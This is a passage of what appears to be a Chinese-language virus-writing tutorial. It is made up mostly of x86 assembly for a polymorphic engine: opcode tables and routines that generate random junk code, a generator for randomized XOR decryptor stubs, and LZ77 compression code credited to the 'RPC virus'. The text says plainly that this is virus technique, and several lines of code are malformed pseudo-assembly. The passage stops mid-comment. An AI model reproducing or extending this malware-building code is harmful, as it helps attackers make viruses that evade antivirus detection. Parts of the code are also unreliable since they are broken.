; b) JMP NEAR --> E9h data16
; c) JBE/JNA --> 76h data8
; d) JLE/JNG --> 7Eh data8
; e) JB/JNAE/JC --> 72h data8
; f) JL/JNGE --> 7Ch data8
; g) JZ/JE --> 74h data8
; h) JNE/JNZ --> 75h data8
; i) JAE/JNB/JNC --> 73h data8
; j) JGE/JNL --> 7Dh data8
; k) JA/JNBE --> 77h data8
; l) JG/JNLE --> 7Fh data8
; m) JCXZ --> E3h data8
; n) JNO --> 71h data8
; o) JO --> 70h data8
; p) JP/JPE --> 7Ah data8
; q) JNP/JPO --> 7Bh data8
; r) JNS --> 79h data8
; s) JS --> 78h data8
; t) LOOP --> E2h data8
; u) CALL SHORT --> E8h data8
db EBh,00h
db 76h,00h
db 7Eh,00h
db 72h,00h
db 7Ch,00h
db 74h,00h
db 75h,00h
db 73h,00h
db 7Dh,00h
db 77h,00h
db 7Fh,00h
db E3h,00h
db 71h,00h
db 70h,00h
db 7Ah,00h
db 7Bh,00h
db 79h,00h
db 78h,00h
; Asm_Jump_table2:
; db E9h,00h,00H
Asm_Jump_end:
;Asm_Callshort db E8h,00h
;Asm_Loop db E2h,00h
Asm_ret_table:
; v) RETN --> C3h
; w) RETF --> CBh
; x) IRET --> CFh
db C3h
db CBh
db CFh
Asm_ret_end:
Asm_Table_End:
;以上是一个代码Table,下面我们将根据Table来生成垃圾代码
;(我写这个table的时候差点写个编译器出来)
;输入 ebx为JuneCode长度,eax为其地址
;输出 ecx为0则成功,其他则不成功
ChoiseJundCode:
pushad
push ebp
Call ip_delta
ip_delta:
pop ebp
lea ebp,[ebp-offset ip_delta]
Call MakeBlockTable;与Block数据填充一样,把Asm_*_Table的地址,大小,名称填入
; 结构AsmTable的Num_xx(xx为数字)
;AsmTable结构::
;AsmTable Struc
; Table_addr dd 0
; Table_len dd 0
; Table_NameID dd 0;即Table的序号
; Ends AsmTable
Call BeginChoiseJuneCode
BeginChoiseJuneCode:
;开始选择代码
Call ChoiseTable;
.if ebx=3h then
Call ChoiseCodeWithReg
.endif
.if ebx=4h then
Call spChoiseCodeWithImm32
.endif
.if ebx=5h then
Call ChoiseCodeWithImm32
.endif
.if ebx==7h then
Call spChoiseCode1
.endif
.if ebx==8h then
Call spChoiseCode2
.endif
.if ebx=-9h then
Call spChoiseCodeWithReg
.endif
.if ebx=Ah then
Call spChoiseCode1
.endif
.if ebx==Bh then
Call ChoiseCodeWithImm8
.endif
.if ebx==Ch then
Call spChoiseCode1
.endif
Call CheckCodelen
jmp BeginChoiseJuneCode
ChoiseTable:
Call GetARndNumMe;生成一个随机数(>2且<=Asm_XX_Table的数目且 <>6h)存入[ebp+RND]中
mov ebx,[ebp+RND]
lea edx,[ebp+Num_&ebx]
assume edx:ptr AsmTable
mov ebx,dword ptr [edx].Table_Name
ret
CheckCodelen:
pop ebx
.if ebx<ecx*2 then
jmp end_junecode
.else
pop eax
add eax,ecx*2
push eax
rep movsw
.endif
sub ebx,ecx*2
push ebx
ret
ChoiseCodeWithReg:
push dword ptr [edx].Table_len/2h
Call GetARnd;生成一个小于 dword ptr [edx].Table_len/2h的随机数
;存入eax
mov ebx,dword ptr [edx].table_addr
mul eax,2h
add ebx,eax
lea esi,[ebp+CodeTemp]
mov ecx,8h
mov eax,00h
rep stosw
lea esi,ebx
lea edi,[ebp+CodeTemp]
movsd
mov ebx,[ebp+CodeTemp]
push ebx
push [ebp+offset (asm_reg_end-asm_reg_table)]
Call GetARnd
mov dl,[ebp+offset asm_reg_table+eax]
pop ebx
add bl,dl
;得到真正的机器码了!!!
lea esi,[ebx]
pop eax
mov ecx,2h
lea edi,[eax]
ret
spChoiseCodeWithReg:
push dword ptr [edx].Table_len/2h
Call GetARnd;生成一个小于 dword ptr [edx].Table_len/2h的随机数
;存入eax
mov ebx,dword ptr [edx].table_addr
mul eax,2h
add ebx,eax
lea esi,[ebp+CodeTemp]
mov ecx,8h
mov eax,00h
rep stosw
lea esi,ebx
lea edi,[ebp+CodeTemp]
movsd
mov ebx,[ebp+CodeTemp]
push ebx
push [ebp+offset (ps_reg_end-ps_reg_table)]
Call GetARnd
mov dl,[ebp+offset ps_reg_table+eax]
pop ebx
add bl,dl
;得到真正的机器码了!!!
lea esi,[ebx]
pop eax
mov ecx,2h
lea edi,[eax]
ret
ChoiseCodeWithImm32:
mov eax,dword ptr [edx].Table_len
Div eax,6h
push eax
Call GetARnd;生成一个小于 dword ptr [edx].Table_len/12的随机数
;存入eax
mov ebx,dword ptr [edx].table_addr
mul eax,6h
add ebx,eax
lea esi,[ebp+CodeTemp]
mov ecx,8h
mov eax,00h
rep stosw
lea esi,ebx
lea edi,[ebp+CodeTemp]
mov ecx,6h
rep movsw
Call RNDALongImm32;生成一个形如xxxxxxxxh的数
;存入eax中
sub edi,8h
lea esi,[eax]
mov ecx,4h
rep movsw
;not [ebp+CodeTemp]
lea esi,[ebp+CodeTemp]
pop eax
lea edi,[eax]
push eax
mov ecx,6h
ret
spChoiseCodeWithImm32:
mov eax,dword ptr [edx].Table_len
Div eax,5h
push eax
Call GetARnd;生成一个小于 dword ptr [edx].Table_len/5h的随机数
;存入eax
mov ebx,dword ptr [edx].table_addr
mul eax,5h
add ebx,eax
lea esi,[ebp+CodeTemp]
mov ecx,8h
mov eax,00h
rep stosw
lea esi,ebx
lea edi,[ebp+CodeTemp]
mov ecx,5h
rep movsw
Call RNDALongImm32;生成一个形如xxxxxxxxh的数
;存入eax中
sub edi,8h
lea esi,[eax]
mov ecx,4h
rep movsw
;not [ebp+CodeTemp]
lea esi,[ebp+CodeTemp]
pop eax
lea edi,[eax]
push eax
mov ecx,5h
ret
ChoiseCodeWithImm8:
mov eax,dword ptr [edx].Table_len
Div eax,4h
push eax
Call GetARnd;生成一个小于 dword ptr [edx].Table_len/4的随机数
;存入eax
mov ebx,dword ptr [edx].table_addr
mul eax,4h
add ebx,eax
lea esi,[ebp+CodeTemp]
mov ecx,8h
mov eax,00h
rep stosw
lea esi,ebx
lea edi,[ebp+CodeTemp]
mov ecx,2h
rep movsw
Call RNDALongImm8;生成一个形如xxh的数
;存入eax中
sub edi,2h
lea esi,[eax]
movsw
;not [ebp+CodeTemp]
lea esi,[ebp+CodeTemp]
pop eax
lea edi,[eax]
push eax
mov ecx,2h
ret
sp_reg_table:
db 00h
db 18h
db 08h
db 30h
db 38h
db 28h
db 20h
sp_reg_table
; eax = 00000000b
; ebx = 00011000b
; ecx = 00001000b
; edx = 00010000b
; esi = 00110000b
; edi = 00111000b
; ebp = 00101000b
; esp = 00100000b
spChoiseCode1:
push dword ptr [edx].Table_len
Call GetARnd;生成一个小于 dword ptr [edx].Table_len的随机数
;存入eax
mov ebx,dword ptr [edx].table_addr
add ebx,eax
lea esi,[ebp+CodeTemp]
mov ecx,8h
mov eax,00h
rep stosw
lea esi,ebx
lea edi,[ebp+CodeTemp]
movsw
mov ebx,[ebp+CodeTemp]
lea esi,[ebx]
pop eax
lea edi,[eax]
mov ecx,1h
push eax
ret
spChoiseCode2:
push dword ptr [edx].Table_len/2h
Call GetARnd;生成一个小于 dword ptr [edx].Table_len/4h的随机数
;存入eax
mov ebx,dword ptr [edx].table_addr
mul eax,2h
add ebx,eax
lea esi,[ebp+CodeTemp]
mov ecx,8h
mov eax,00h
rep stosw
lea esi,ebx
lea edi,[ebp+CodeTemp]
movsd
mov ebx,[ebp+CodeTemp]
lea esi,[ebx]
pop eax
lea edi,[eax]
push eax
mov ecx,2h
ret
end_junecode:
popad
ret
TempCode dd Max_path (00h)[/code]
;其它代码略...
方案C:
;不属于本次讨论的范围
(二).解密代码的生成
我在前面的论述中已经反复介绍了很多遍加密解密的问题
现在该是真的来研究这个问题的时候了,我现在先讲加密的问题::
加密的算法很多,但是目前看起来比较好用只有XOR,像
RSA,DES等等算法都...(太长太恶心了),不太适应病毒。
我们这一章主要部分是解密代码的生成::
我提供了一个我使用了很久的生成代码实例::
;你还可以用上Push_table和Pop_table甚至更多(以后我会写一个poly Engine给大家欣赏的)
[code]
Asm_LeaRegImm32_Table:
db 8Dh,85h,00h,00h,00h,00h;eax
db 8Dh,9Dh,00h,00h,00h,00h;ebx
db 8Dh,8Dh,00h,00h,00h,00h;ecx
db 8Dh,95h,00h,00h,00h,00h;edx
db 8Dh,B5h,00h,00h,00h,00h;esi
db 8Dh,BDh,00h,00h,00h,00h;edi
Asm_LeaRegImm32_end:
Asm_XorReg1Reg2_Table:
db 33h,C0h;eax
db 33h,D8h;ebx
db 33h,C8h;ecx
db 33h,D0h;edx
db 33h,F0h;esi
db 33h,F8h;edi
Asm_XorReg1Reg2_end:
;- si reg = eax, 05h xxh xxh xxh xxh
;- si reg = ebx, 81h C3h xxh xxh xxh xxh
;- si reg = ecx, 81h C1h xxh xxh xxh xxh
;- si reg = edx, 81h C2h xxh xxh xxh xxh
;- si reg = esi, 81h C6h xxh xxh xxh xxh
;- si reg = edi, 81h C7h xxh xxh xxh xxh
Asm_AddRegImm32_table:
db 05h,00h,00h,00h,00h
db 81h,C3h,00h,00h,00h,00h
db 81h,C1h,00h,00h,00h,00h
db 81h,C2h,00h,00h,00h,00h
db 81h,C6h,00h,00h,00h,00h
db 81h,C7h,00h,00h,00h,00h
Asm_AddRegImm32_end:
Asm_SubRegImm32_table:
; - si reg = eax, 2Dh xxh xxh xxh xxh
; - si reg = ebx, 81h EBh xxh xxh xxh xxh
; - si reg = ecx, 81h E9h xxh xxh xxh xxh
; - si reg = edx, 81h EAh xxh xxh xxh xxh
; - si reg = esi, 81h EEh xxh xxh xxh xxh
; - si reg = edi, 81h EFh xxh xxh xxh xxh
db 2Dh,00h,00h,00h,00h
db 81h,EBh,00h,00h,00h,00h
db 81h,E9h,00h,00h,00h,00h
db 81h,EAh,00h,00h,00h,00h
db 81h,EEh,00h,00h,00h,00h
db 81h,EFh,00h,00h,00h,00h
Asm_SubRegImm32_end:
; - Test eax, reg2: 1000 0101 1100 0xxxb
; - Test ebx, reg2: 1000 0101 1101 1xxxb
; - Test ecx, reg2: 1000 0101 1100 1xxxb
; - Test edx, reg2: 1000 0101 1101 0xxxb
; - Test esi, reg2: 1000 0101 1111 0xxxb
;- Test edi, reg2: 1000 0101 1111 1xxxb
Asm_TestReg1Reg2_table:
db 85h,C0h
db 85h,D8H
db 85h,C8H
db 85h,D0H
db 85h,F0H
db 85h,F8H
Asm_TestReg1Reg2_end:
Asm_TestRegImm32_table:
; - Test eax, imm32: A9h XXh XXh XXh XXh
; - Test ebx, imm32: F7h C3h XXh XXh XXh XXh
; - Test ecx, imm32: F7h C1h XXh XXh XXh XXh
; - Test edx, imm32: F7h C2h XXh XXh XXh XXh
; - Test esi, imm32: F7h C6h XXh XXh XXh XXh
; - Test edi, imm32: F7h C7h XXh XXh XXh XXh
db A9h,00h,00h,00h,00h
db F7h,C3h,00h,00h,00h,00h
db F7h,C1h,00h,00h,00h,00h
db F7h,C2h,00h,00h,00h,00h
db F7h,C6h,00h,00h,00h,00h
db F7h,C7h,00h,00h,00h,00h
Asm_TestRegImm32_end:
Asm_movregimm32_table:
db B8h,00h,00h,00h,00h;我们加入Imm32时这样子::add eax,xxxxxxxxh
db BBh,00h,00h,00h,00h
db B9h,00h,00h,00h,00h
db BAh,00h,00h,00h,00h
db BEh,00h,00h,00h,00h
db BFh,00h,00h,00h,00h
Asm_movregimm32_end:
;-mov reg,imm32:
; - si reg = eax, B8h xxh xxh xxh xxh
; - si reg = ebx, BBh xxh xxh xxh xxh
; - si reg = ecx, B9h xxh xxh xxh xxh
; - si reg = edx, BAh xxh xxh xxh xxh
; - si reg = esi, BEh xxh xxh xxh xxh
; - si reg = edi, BFh xxh xxh xxh xxh
Asm_reg_table:
db 00h;eax
db 03h;ebx
db 01h;ecx
db 02h;edx
db 06h;esi
db 07h;edi
; db 05h;ebp
; db 04h;esp
Asm_reg_end:
;in eax==addr of @decry_XX_I0
; ebx==addr of @decry_XX_Imain
; ecx==length of @decry_XX_I0
; edx==length of @decry_XX_Imain
; ebp==delta!!!
ChoiseDecryCode:
;使用Decry的方法::
;XXX:
; @Seh_SetupFrame <jmp @decry_xxx_I0>
;@june_code:db 32*4 Dup (90h)
;@decry_xxx_I0: db 32*4 DUP(90h)
;@decry_xxx_Imain:db 32*4 DUP(90)
;@decry_xxx_Iend:jnz @decry_xxx_Imain
;XXX_r:实际代码
mov [ebp+addr1],eax
mov [ebp+addr2],ebx
mov [ebp+CTN],00h
pushad
lea esi,[ebp+DecryTempCode1]
mov eax,00h
mov ecx,32*4
rep stosb
lea esi,[ebp+DecryTempCode2]
mov eax,00h
mov ecx,32*4
rep stosb
Call ChoiseKeyReg
Call ChoiseAddrReg
Call ChoiseLenReg
rep movsw
Call ChoiseCodeToXor
Call ChoiseCodeToAdd
Call ChoiseCodeToSub
Call ChoiseCodeToTest
rep movsw
popad
ret
ChoiseKeyReg:
mov eax,[ebp+offset (asm_reg_end-asm_reg_table)]
;div eax,2h
push eax
Call GetARnd
mov bl,[ebp+offset asm_reg_end+eax]
mov [ebp+KeyReg],bl
mov [ebp+KeyNum],eax
mul eax,5h
lea esi,[ebp+offset asm_movregImm32_table+eax]
lea edi,[ebp+DecryTempCode1]
mov ecx,5h
rep movsw
sub edi,8h
mov ebx,[ebp+CryKey]
; not ebx
lea esi,[ebx]
mov ecx,2h
rep movsd
ret
ChoiseAddrReg:
push edi
push eax
rndreg:
pop eax
mov eax,[ebp+offset (asm_reg_end-asm_reg_table)]
;div eax,2h
push eax
Call GetARnd
mov bl,[ebp+offset asm_reg_end+eax]
mov [ebp+AddrNum],eax
push eax
mov al,[ebp+KeyReg]
mov [ebp+AddrReg],bl
cmp bl,al
jz rndreg
R_0:
pop eax
mul eax,6h
lea esi,[ebp+offset asm_learegImm32_table+eax]
pop edi
mov ecx,6h
rep movsw
sub edi,8h
mov ebx,[ebp+Addr_XXX_r]
;not ebx
lea esi,[ebx]
mov ecx,2h
rep movsd
ret
ChoiseLenReg:
push edi
push eax
rndreg_1:
mov eax,[ebp+offset (asm_reg_end-asm_reg_table)]
;div eax,2h
push eax
Call GetARnd
mov bl,[ebp+offset asm_reg_end+eax]
mov [ebp+lenNum],eax
push eax
mov al,[ebp+KeyReg]
mov [ebp+LenReg],bl
cmp bl,al
jz rndreg_1
mov bl,[ebp+LenReg]
mov al,[ebp+AddReg]
cmp al,bl
jz rndreg_1
R_1:
pop eax
mul eax,5h
lea esi,[ebp+offset asm_movregImm32_table+eax]
pop edi
mov ecx,5h
rep movsw
sub edi,8h
mov ebx,[ebp+lenof_XXX_r]
;not ebx
lea esi,[ebx]
mov ecx,2h
rep movsd
lea edi,[ebp+Addr1]
lea esi,[ebp+DeCryTempCode1]
mov ecx, 10h
ret
ChoiseCodeToXor:
mov eax,[ebp+AddrNum]
mul eax,2h
lea esi,[ebp+offset asm_xorreg1reg2_table+eax]
lea edi,[ebp+DecryTempCode2]
mov ecx,2h
mov ebx,[ebp+CTN]
add ebx,ecx
mov [ebp+CTN],ebx
rep movsw
mov eax,[ebp+KeyNum]
mov bl,[ebp+offset asm_reg_end+eax]
mov edx,[ebp+DecryTempCode2]
not edx
add dl,bl
not edx
mov [ebp+DecryTempCode2],edx
ret
ChoiseCodeToAdd:
push edi
mov eax,[ebp+AddrNum]
.if eax!=0h then
sub eax,1h
mul eax,6h
add eax,5h
.endif
lea esi,[ebp+offset asm_AddregImm32_table+eax]
pop edi
.if eax==0h then
mov ecx,5h
.else
mov ecx,6h
.endif
mov ebx,[ebp+CTN]
add ebx,ecx
mov [ebp+CTN],ebx
rep movsw
sub edi,8h
mov ebx,[ebp+LenofKey]
;not ebx
lea esi,[ebx]
mov ecx,4h
rep movsw
ret
ChoiseCodeToSub:
push edi
mov eax,[ebp+LenNum]
.if eax!=0h then
sub eax,1h
mul eax,6h
add eax,5h
.endif
lea esi,[ebp+offset asm_SubregImm32_table+eax]
pop edi
.if eax==1h then
mov ecx,5h
.else
mov ecx,6h
.endif
mov ebx,[ebp+CTN]
add ebx,ecx
mov [ebp+CTN],ebx
rep movsw
sub edi,8h
mov ebx,[ebp+LenofKey]
;not ebx
lea esi,[ebx]
mov ecx,4h
rep movsw
ret
ChoiseCodeToTest:
push edi
mov eax,[ebp+LenNum]
.if eax!=0h then
sub eax,1h
mul eax,6h
add eax,5h
.endif
lea esi,[ebp+offset asm_TestregImm32_table+eax]
pop edi
.if eax==1h then
mov ecx,5h
.else
mov ecx,6h
.endif
mov ebx,[ebp+CTN]
add ebx,ecx
mov [ebp+CTN],ebx
rep movsw
lea edi,[ebp+Addr2]
lea esi,[ebp+DecryTempCode2]
mov ecx,[ebp+CTN]
ret [/code]
附录A.几个压缩算法
;本来想写个单独的章节介绍压缩不过为了突出主题,只好放在附录A了
算法A:
;来自RPC病毒的代码的Lz77
[code];extern "C"
;void __declspec(naked) WINAPI
;LZ77Compress(
; PUCHAR __pDataBuffer,
; ULONG __ulDataLength,
; PUCHAR __pOutputBuffer,
; PULONG __pulNumberOfBits
; )
;//{
;*********************************************************************
;* *
;* LZ77Compress() *
;* [Param1] *
;* [Param2] *
;* [Param3] *
;* [Param4] *
;* *
;* Remarks: *
;* Decompress the data. *
;* *
;* Parameters: *
;* [Param1] *
;* Point to the buffer containing the data that will be *
;* compressed. *
;* [Param2] *
;* The total bytes of the data that will be compressed *
;* [Param3] *
;* Point to the buffer where the data will be stored after *
;* compression. *
;* [Param4] *
;* Point to the variable that will save the number of bits of *
;* the data after compression *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
BASE_OFFSET = (36)
pDataBuffer = (BASE_OFFSET)
ulDataLength = (BASE_OFFSET+4)
pOutputBuffer = (BASE_OFFSET+8)
pulNumberOfBits = (BASE_OFFSET+12)
iSlideWindowPtr = (-4)
ulBytesCoded = (-8)
ulBytesDecoded = (-8)
ulLength = (-12)
ulOffset = (-16)
pSlideWindowPtr = (-20)
LZ77Compress:
pushad
mov ebp, esp
xor ebx, ebx ; Intialize ulBitOffset
mov esi, [ebp][pDataBuffer] ; Initialize pUncodedDataPtr
mov edi, [ebp][pOutputBuffer]
push -MAX_WND_SIZE ; Initialize iSlideWindowPtr
push 0 ; Initialzie ulBytesCoded
sub esp, 3 * 4
lp_CompressDataWithLZ77:
mov edx, [ebp][ulBytesCoded]
cmp edx, 00001000h
jb lb_NotAssumeDataCompressibility
mov ecx, ebx ;After MAX_WND_SIZE bytes data have been
shr ecx, 3 ;compressed, we should assume the
cmp ecx, edx ;compressibility of the data.
jbe lb_DataCompressibilityIsStillGood ;
xor ebx, ebx
jmp lb_ExitLZ77Compress
lb_NotAssumeDataCompressibility:
lb_DataCompressibilityIsStillGood:
;mov eax, [ebp][ulBytesCoded]
;cmp eax, [ebp][ulDataLength]
mov eax, [ebp][ulDataLength]
sub eax, [ebp][ulBytesCoded]
jbe lb_AllBytesCompressed
push eax
mov eax, [ebp][iSlideWindowPtr]
mov edx, [ebp][pDataBuffer] ; edx holds pSlideWindowPtr
mov ecx, MAX_WND_SIZE ; ecx holds ulMaxStringLength
cmp eax, 0
jl lb_L01_1
add edx, eax
jmp lb_L01_3
lb_L01_1:
cmp eax, -MAX_WND_SIZE
jl lb_L01_2
add ecx, eax
jmp lb_L01_3
lb_L01_2:
xor ecx, ecx
xor edx, edx
lb_L01_3:
pop eax
cmp eax, ecx
jae lb_BytesLeftMoreThanMaxWndSize
mov ecx, eax
lb_BytesLeftMoreThanMaxWndSize:
call FindSubStringWithMaxLength
mov eax, [ebp][ulLength]
cmp eax, 1
jle lb_MatchedStringLengthIsLessThan1
call Write1ToBitStream
mov eax, [ebp][ulOffset]
mov ecx, OFFSET_CODING_LENGTH
call WriteBitsToBitStream
mov eax, [ebp][ulLength]
call WriteGolombCode
mov eax, [ebp][ulLength]
add esi, eax
add [ebp][iSlideWindowPtr], eax
add [ebp][ulBytesCoded], eax
jmp lp_CompressDataWithLZ77
lb_MatchedStringLengthIsLessThan1:
call Write0ToBitStream
mov eax, [esi]
push 8
pop ecx
call WriteBitsToBitStream
inc esi
inc dword ptr [ebp][iSlideWindowPtr]
inc dword ptr [ebp][ulBytesCoded]
jmp lp_CompressDataWithLZ77
lb_AllBytesCompressed:
lb_ExitLZ77Compress:
mov eax, [ebp][pulNumberOfBits]
mov [eax], ebx
mov esp, ebp
popad
ret 16
;*********************************************************************
;* *
;* WriteBitsToBitStream() *
;* *
;* Remarks: *
;* Writing a series of bits to the bit stream. *
;* *
;* Parameters: *
;* [Edi] *
;* Point to the base address of the bit stream. The address is *
;* byte-boundary. *
;* [Ebx] *
;* The offset in the bit stream where the new bits will *
;* be written. *
;* [Eax] *
;* The bits that will be wtitten to the bit stream. *
;* [Ecx]: *
;* The number of bits that will be written to the bit stream. *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
WriteBitsToBitStream:
lp_LoopOfWritingOffset:
shr eax, 1
jc lb_CurrentBitIs1
call Write0ToBitStream
jmp lb_WriteNextBit
lb_CurrentBitIs1:
call Write1ToBitStream
lb_WriteNextBit:
loop lp_LoopOfWritingOffset
ret
;*********************************************************************
;* *
;* &nb